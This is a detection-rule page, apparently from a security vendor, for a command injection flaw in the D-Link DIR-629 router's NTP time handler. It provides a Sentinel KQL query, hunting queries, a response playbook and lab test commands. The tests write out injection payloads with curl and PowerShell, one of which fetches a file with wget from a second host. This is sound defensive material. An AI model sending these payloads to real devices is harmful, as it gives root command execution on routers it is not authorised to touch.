Skip to content
CVE-2026-138201 Microsoft Sentinel · KQL

Detect D-Link DIR-629 NTP Time Command Injection (CVE-2026-138201) in Microsoft Sentinel

Detects exploitation of CVE-2026-138201, an OS command injection vulnerability in the D-Link DIR-629 1.03.B01_CN router. An unknown function in /etc/services/DEVICE.TIME.php (the NTP Time component) fails to sanitize the attacker-controlled server argument before passing it to a shell. An attacker who can reach the device HTTP management interface can inject arbitrary OS commands (CWE-77/CWE-78), resulting in remote command execution as root. The attack can be launched remotely. CVSS 4.0 base score 8.6. A public exploit is available. This detection surfaces anomalous HTTP requests to the DEVICE.TIME handler containing shell metacharacters, and post-exploitation child-process/command execution telemetry on devices that forward syslog.

MITRE ATT&CK

Tactic
Initial Access Execution

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
// df00tech DF00-9b76f17cea · https://df00tech.com/detections/CVE-2026-138201 · licence: https://df00tech.com/detections/licence
let shellMeta = dynamic([";", "|", "&", "`", "$(", "%3B", "%7C", "%26", "%60"]);
CommonSecurityLog
| where DeviceVendor in~ ("D-Link", "Dlink") or DeviceProduct has "DIR-629"
| where RequestURL has "DEVICE.TIME" or RequestURL has "DEVICE.TIME.php"
| extend payload = strcat(tostring(RequestURL), " ", tostring(AdditionalExtensions))
| where payload has_any (shellMeta) or payload matches regex @"(?i)(ntp|time|server)[^&]*(%3B|;|%7C|\||%60|`|\$\()"
| project TimeGenerated, SourceIP, DestinationIP, RequestURL, RequestMethod, payload, DeviceVendor, DeviceProduct
| sort by TimeGenerated desc
high severity medium confidence

Flags HTTP requests to the DIR-629 DEVICE.TIME NTP handler that carry shell metacharacters indicative of command injection, parsed from firewall/proxy CommonSecurityLog records.

Data Sources

Network FirewallWeb ProxySyslog

Required Tables

CommonSecurityLog

False Positives & Tuning

  • Legitimate NTP server configuration where an administrator enters a hostname containing an unusual but benign character
  • Security scanners and vulnerability assessment tools probing the device during authorized testing
  • URL-encoded parameters that coincidentally contain reserved characters without malicious intent

Other platforms for CVE-2026-138201


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulated DEVICE.TIME command injection via curl (lab)

    Expected signal: Firewall/proxy/syslog record of a POST to DEVICE.TIME.php containing a semicolon and the injected 'id' command.

  2. Test 2 URL-encoded pipe injection against NTP handler (lab)

    Expected signal: Network log shows a GET to DEVICE.TIME.php with %7C (encoded pipe) and an embedded wget command.

  3. Test 3 Backtick subcommand injection probe (lab)

    Expected signal: Proxy/firewall record of a POST to DEVICE.TIME.php containing backtick characters.


Response Playbook

Triage

  1. Confirm the source IP in the alert is attempting to reach the HTTP management interface of a D-Link DIR-629 (1.03.B01_CN) device and extract the full DEVICE.TIME request payload.
  2. Decode any URL-encoded characters in the payload and identify the injected shell command fragment (characters after ;, |, &, `, or $( ).
  3. Determine whether the management interface is reachable from untrusted networks (WAN/Internet) versus LAN-only, which changes exposure.
  4. Check whether the device subsequently generated outbound connections, DNS lookups, or syslog entries indicating the injected command executed.

Containment

  1. Block the attacker source IP at the perimeter firewall and restrict access to the DIR-629 management interface to trusted management subnets only.
  2. Isolate the affected router from the WAN if remote management is exposed, and disable remote administration until patched.
  3. If compromise is confirmed, factory-reset the device and reflash firmware from a verified image, as embedded command injection can persist in configuration/NVRAM.

Evidence Collection

  1. Capture and preserve the full HTTP request(s) to DEVICE.TIME.php, including headers, body, and source IP, from firewall/proxy/syslog logs.
  2. Export device syslog and any available process/connection telemetry around the time of the request for the injected command's effects.

Escalation Criteria

  • !Escalate to incident response if post-request telemetry shows outbound C2 connections, new processes, or configuration changes on the device.
  • !Escalate if the DIR-629 management interface is confirmed exposed to the Internet, given the CVSS 8.6 remote command execution risk and that a public exploit exists.

Investigation Guide

Forensic Artifacts

  • >HTTP access/firewall logs showing requests to /etc/services/DEVICE.TIME.php with shell metacharacters
  • >Device syslog entries and NVRAM/configuration changes reflecting injected command execution
  • >Outbound network connections originating from the router immediately after the malicious request

Tuning Guidance

Baseline legitimate management access to the DIR-629 interface by source IP and restrict the detection to requests originating outside known administrator subnets. If authorized vulnerability scanners regularly probe the device, allowlist their source IPs. Tighten the metacharacter regex if benign NTP hostnames in your environment legitimately contain reserved characters, and prioritize alerts where the management interface is WAN-exposed.


Hunting Queries

Surfaces source IPs making repeated requests to the DEVICE.TIME endpoint, indicating scanning or brute-force exploitation attempts.

Hunting — KQL
kql
// df00tech DF00-9b76f17cea · https://df00tech.com/detections/CVE-2026-138201 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "DEVICE.TIME" | summarize count(), make_set(RequestURL) by SourceIP, bin(TimeGenerated, 1h) | where count_ > 5
Hunting — SPL
spl
``` df00tech DF00-9b76f17cea · https://df00tech.com/detections/CVE-2026-138201 · licence: https://df00tech.com/detections/licence ```
index=network url="*DEVICE.TIME*" | stats count values(url) by src_ip | where count>5

Atomic Red Team Tests

Test 1 Simulated DEVICE.TIME command injection via curl (lab)
linux

Sends an HTTP request to a lab DIR-629 (or emulated endpoint) DEVICE.TIME handler with a semicolon-delimited injected command to validate detection coverage.

Command

bash
curl -s -X POST 'http://192.0.2.10/etc/services/DEVICE.TIME.php' --data 'ntp_server=pool.ntp.org;id' -o /dev/null

Cleanup

bash
echo 'No cleanup required; request leaves no local artifacts on the testing host.'

Expected Telemetry

Firewall/proxy/syslog record of a POST to DEVICE.TIME.php containing a semicolon and the injected 'id' command.

Expected Detection

KQL/SPL/network queries match on the DEVICE.TIME URL plus shell metacharacter in the payload.

Test 2 URL-encoded pipe injection against NTP handler (lab)
linux

Issues a GET request with a URL-encoded pipe character to the DEVICE.TIME handler to confirm encoded-metacharacter detection.

Command

bash
curl -s 'http://192.0.2.10/etc/services/DEVICE.TIME.php?ntp_server=time.google.com%7Cwget%20http://192.0.2.20/x' -o /dev/null

Cleanup

bash
echo 'No cleanup required.'

Expected Telemetry

Network log shows a GET to DEVICE.TIME.php with %7C (encoded pipe) and an embedded wget command.

Expected Detection

Queries match on the encoded metacharacter (%7C) within a DEVICE.TIME request.

Test 3 Backtick subcommand injection probe (lab)
windows

Sends a request containing a backtick-delimited subcommand to the DEVICE.TIME endpoint to verify backtick detection.

Command

powershell
powershell -Command "Invoke-WebRequest -Uri 'http://192.0.2.10/etc/services/DEVICE.TIME.php' -Method POST -Body 'ntp_server=`id`' -UseBasicParsing"

Cleanup

powershell
echo done

Expected Telemetry

Proxy/firewall record of a POST to DEVICE.TIME.php containing backtick characters.

Expected Detection

Detection queries match the backtick metacharacter within the DEVICE.TIME request payload.

Related Detections